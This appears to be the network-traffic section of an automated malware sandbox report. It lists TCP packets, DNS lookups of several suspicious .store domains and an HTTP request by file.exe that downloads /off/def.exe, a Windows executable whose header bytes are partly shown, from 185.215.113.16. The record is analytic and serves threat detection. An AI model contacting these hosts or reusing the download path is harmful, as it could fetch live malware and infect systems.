Oct 31, 2024 03:04:38.048556089 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.048556089 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.048589945 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.048603058 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.048624992 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.048640966 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.048669100 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.048692942 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.048743963 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.049700022 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.049727917 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.049750090 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.049763918 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.158756018 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.158818007 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.158822060 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.158852100 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.158868074 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.158894062 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.158925056 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.158958912 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.158973932 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.158993959 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.159008980 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.159039974 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.159281015 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.159327030 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.159351110 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.159383059 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.159398079 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.159431934 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.165100098 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.165144920 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.165146112 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.165186882 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.165189981 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.165236950 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.165236950 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.165286064 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.165307999 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.165352106 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.165359974 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.165410042 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.165492058 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.165543079 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.165579081 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.165611029 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.165627956 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.165656090 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.275587082 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.275643110 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.275692940 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.275764942 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.275767088 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.275815010 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.275816917 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.275960922 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.276036978 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.276088953 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.276091099 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.276120901 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.276144028 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.276166916 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.281588078 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.281646013 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.281688929 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.281719923 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.281738997 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.281765938 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.281771898 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.281805038 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.281825066 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.281838894 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.281852961 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.281889915 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.282265902 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.282318115 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.282320023 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.282351971 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.282362938 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.282387972 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.282394886 CET	63946	80	192.168.2.4	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 31, 2024 03:02:58.155457020 CET	192.168.2.4	1.1.1.1	0x99d0	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:02:58.189062119 CET	192.168.2.4	1.1.1.1	0x3fc4	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:02:58.199140072 CET	192.168.2.4	1.1.1.1	0x2cd4	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:02:58.208647966 CET	192.168.2.4	1.1.1.1	0x550a	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:02:58.220062971 CET	192.168.2.4	1.1.1.1	0x676b	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:03:30.980441093 CET	192.168.2.4	1.1.1.1	0x2d15	Standard query (0)	15.164.165.52.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Oct 31, 2024 03:03:32.681013107 CET	192.168.2.4	1.1.1.1	0x5e12	Standard query (0)	56.163.245.4.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Oct 31, 2024 03:04:26.724652052 CET	192.168.2.4	1.1.1.1	0xe397	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:26.739415884 CET	192.168.2.4	1.1.1.1	0x5cc3	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:26.752419949 CET	192.168.2.4	1.1.1.1	0xdeb3	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:26.762095928 CET	192.168.2.4	1.1.1.1	0xc727	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:26.771889925 CET	192.168.2.4	1.1.1.1	0xe0d7	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:48.928365946 CET	192.168.2.4	1.1.1.1	0xe4bd	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:48.943912983 CET	192.168.2.4	1.1.1.1	0x4c46	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 03:04:55.142983913 CET	192.168.2.4	1.1.1.1	0xa8ea	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:55.147371054 CET	192.168.2.4	1.1.1.1	0x889b	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:55.151628017 CET	192.168.2.4	1.1.1.1	0xe083	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:55.155179024 CET	192.168.2.4	1.1.1.1	0x32	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:55.158663034 CET	192.168.2.4	1.1.1.1	0x68fb	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 03:04:55.162307978 CET	192.168.2.4	1.1.1.1	0x4fa6	Standard query (0)	youtube.com	28	IN (0x0001)	false
Oct 31, 2024 03:04:57.745137930 CET	192.168.2.4	1.1.1.1	0x6891	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:57.753541946 CET	192.168.2.4	1.1.1.1	0x8987	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:57.766591072 CET	192.168.2.4	1.1.1.1	0x171b	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 03:04:59.421885967 CET	192.168.2.4	1.1.1.1	0xf12e	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:59.423471928 CET	192.168.2.4	1.1.1.1	0xa018	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:59.434602022 CET	192.168.2.4	1.1.1.1	0xb534	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:59.437647104 CET	192.168.2.4	1.1.1.1	0x27ec	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:59.447262049 CET	192.168.2.4	1.1.1.1	0x3a3	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 03:04:59.651588917 CET	192.168.2.4	1.1.1.1	0x9623	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:59.653732061 CET	192.168.2.4	1.1.1.1	0x1517	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:59.660727024 CET	192.168.2.4	1.1.1.1	0xcb30	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 03:05:00.539885998 CET	192.168.2.4	1.1.1.1	0x15b6	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:05:00.549077034 CET	192.168.2.4	1.1.1.1	0x172c	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:05:00.556380033 CET	192.168.2.4	1.1.1.1	0x67fe	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 03:05:28.196403027 CET	192.168.2.4	1.1.1.1	0x8be7	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:05:28.213464022 CET	192.168.2.4	1.1.1.1	0x6da0	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:05:28.655472994 CET	192.168.2.4	1.1.1.1	0x9d13	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 03:05:28.659413099 CET	192.168.2.4	1.1.1.1	0x8da0	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:05:28.778582096 CET	192.168.2.4	1.1.1.1	0x164c	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:05:28.896744967 CET	192.168.2.4	1.1.1.1	0x399f	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:05:28.907860041 CET	192.168.2.4	1.1.1.1	0xc5fa	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 03:05:28.924988985 CET	192.168.2.4	1.1.1.1	0x691f	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:05:28.932702065 CET	192.168.2.4	1.1.1.1	0x979f	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 03:05:29.575453997 CET	192.168.2.4	1.1.1.1	0xee63	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:05:29.582876921 CET	192.168.2.4	1.1.1.1	0x8662	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 03:05:30.293036938 CET	192.168.2.4	1.1.1.1	0x28c	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:05:30.301568985 CET	192.168.2.4	1.1.1.1	0xf285	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:05:30.309604883 CET	192.168.2.4	1.1.1.1	0xfdb6	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 03:05:30.338289976 CET	192.168.2.4	1.1.1.1	0xfdb6	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 31, 2024 03:02:58.164726019 CET	1.1.1.1	192.168.2.4	0x99d0	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:02:58.197923899 CET	1.1.1.1	192.168.2.4	0x3fc4	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:02:58.207567930 CET	1.1.1.1	192.168.2.4	0x2cd4	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:02:58.217737913 CET	1.1.1.1	192.168.2.4	0x550a	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:02:58.236218929 CET	1.1.1.1	192.168.2.4	0x676b	No error (0)	necklacedmny.store		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:02:58.236218929 CET	1.1.1.1	192.168.2.4	0x676b	No error (0)	necklacedmny.store		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:03:30.987267017 CET	1.1.1.1	192.168.2.4	0x2d15	Name error (3)	15.164.165.52.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Oct 31, 2024 03:03:32.688178062 CET	1.1.1.1	192.168.2.4	0x5e12	Name error (3)	56.163.245.4.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Oct 31, 2024 03:04:26.733261108 CET	1.1.1.1	192.168.2.4	0xe397	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:26.749840021 CET	1.1.1.1	192.168.2.4	0x5cc3	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:26.760519981 CET	1.1.1.1	192.168.2.4	0xdeb3	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:26.770611048 CET	1.1.1.1	192.168.2.4	0xc727	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:26.789119005 CET	1.1.1.1	192.168.2.4	0xe0d7	No error (0)	necklacedmny.store		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:26.789119005 CET	1.1.1.1	192.168.2.4	0xe0d7	No error (0)	necklacedmny.store		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:48.869023085 CET	1.1.1.1	192.168.2.4	0x9991	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:48.935373068 CET	1.1.1.1	192.168.2.4	0xe4bd	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:55.149677992 CET	1.1.1.1	192.168.2.4	0xa8ea	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:04:55.149677992 CET	1.1.1.1	192.168.2.4	0xa8ea	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:55.153755903 CET	1.1.1.1	192.168.2.4	0x889b	No error (0)	youtube.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:55.158180952 CET	1.1.1.1	192.168.2.4	0xe083	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:55.161695957 CET	1.1.1.1	192.168.2.4	0x32	No error (0)	youtube.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:55.165556908 CET	1.1.1.1	192.168.2.4	0x68fb	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Oct 31, 2024 03:04:55.168800116 CET	1.1.1.1	192.168.2.4	0x4fa6	No error (0)	youtube.com			28	IN (0x0001)	false
Oct 31, 2024 03:04:57.752054930 CET	1.1.1.1	192.168.2.4	0x6891	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:57.760317087 CET	1.1.1.1	192.168.2.4	0x8987	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:59.428858042 CET	1.1.1.1	192.168.2.4	0xf12e	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:04:59.428858042 CET	1.1.1.1	192.168.2.4	0xf12e	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:59.429944038 CET	1.1.1.1	192.168.2.4	0xa018	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:59.441286087 CET	1.1.1.1	192.168.2.4	0xb534	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:59.441286087 CET	1.1.1.1	192.168.2.4	0xb534	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:59.444555998 CET	1.1.1.1	192.168.2.4	0x27ec	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:59.651104927 CET	1.1.1.1	192.168.2.4	0xdec8	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:04:59.651104927 CET	1.1.1.1	192.168.2.4	0xdec8	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:59.658313036 CET	1.1.1.1	192.168.2.4	0x9623	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:04:59.658313036 CET	1.1.1.1	192.168.2.4	0x9623	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:59.660234928 CET	1.1.1.1	192.168.2.4	0x1517	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:05:00.546721935 CET	1.1.1.1	192.168.2.4	0x15b6	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:05:00.546721935 CET	1.1.1.1	192.168.2.4	0x15b6	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:05:00.546721935 CET	1.1.1.1	192.168.2.4	0x15b6	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:05:00.555824995 CET	1.1.1.1	192.168.2.4	0x172c	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:05:00.563580036 CET	1.1.1.1	192.168.2.4	0x67fe	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Oct 31, 2024 03:05:28.202964067 CET	1.1.1.1	192.168.2.4	0x8be7	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:05:28.202964067 CET	1.1.1.1	192.168.2.4	0x8be7	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:05:28.220813036 CET	1.1.1.1	192.168.2.4	0x6da0	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:05:28.661240101 CET	1.1.1.1	192.168.2.4	0xc46a	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:05:28.661240101 CET	1.1.1.1	192.168.2.4	0xc46a	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:05:28.666347980 CET	1.1.1.1	192.168.2.4	0x8da0	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:05:28.785434008 CET	1.1.1.1	192.168.2.4	0x164c	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:05:28.903554916 CET	1.1.1.1	192.168.2.4	0x399f	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:05:28.903554916 CET	1.1.1.1	192.168.2.4	0x399f	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:05:28.931874990 CET	1.1.1.1	192.168.2.4	0x691f	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:05:29.571341991 CET	1.1.1.1	192.168.2.4	0xda17	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:05:29.582410097 CET	1.1.1.1	192.168.2.4	0xee63	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:05:30.298523903 CET	1.1.1.1	192.168.2.4	0x873f	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:05:30.300323963 CET	1.1.1.1	192.168.2.4	0x28c	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:05:30.300323963 CET	1.1.1.1	192.168.2.4	0x28c	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:05:30.300323963 CET	1.1.1.1	192.168.2.4	0x28c	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:05:30.308859110 CET	1.1.1.1	192.168.2.4	0xf285	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49744	185.215.113.16	80	7304	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 03:03:26.086338997 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 31, 2024 03:03:26.999042034 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 02:03:26 GMT Content-Type: application/octet-stream Content-Length: 2814976 Last-Modified: Thu, 31 Oct 2024 01:43:45 GMT Connection: keep-alive ETag: "6722e0d1-2af400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 f6 66 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`+ `@ +f+`Ui` @ @.rsrc`2@.idata 8@kddeprza*:@anjsayip @+@.taggant@`+"*@
Oct 31, 2024 03:03:26.999063969 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
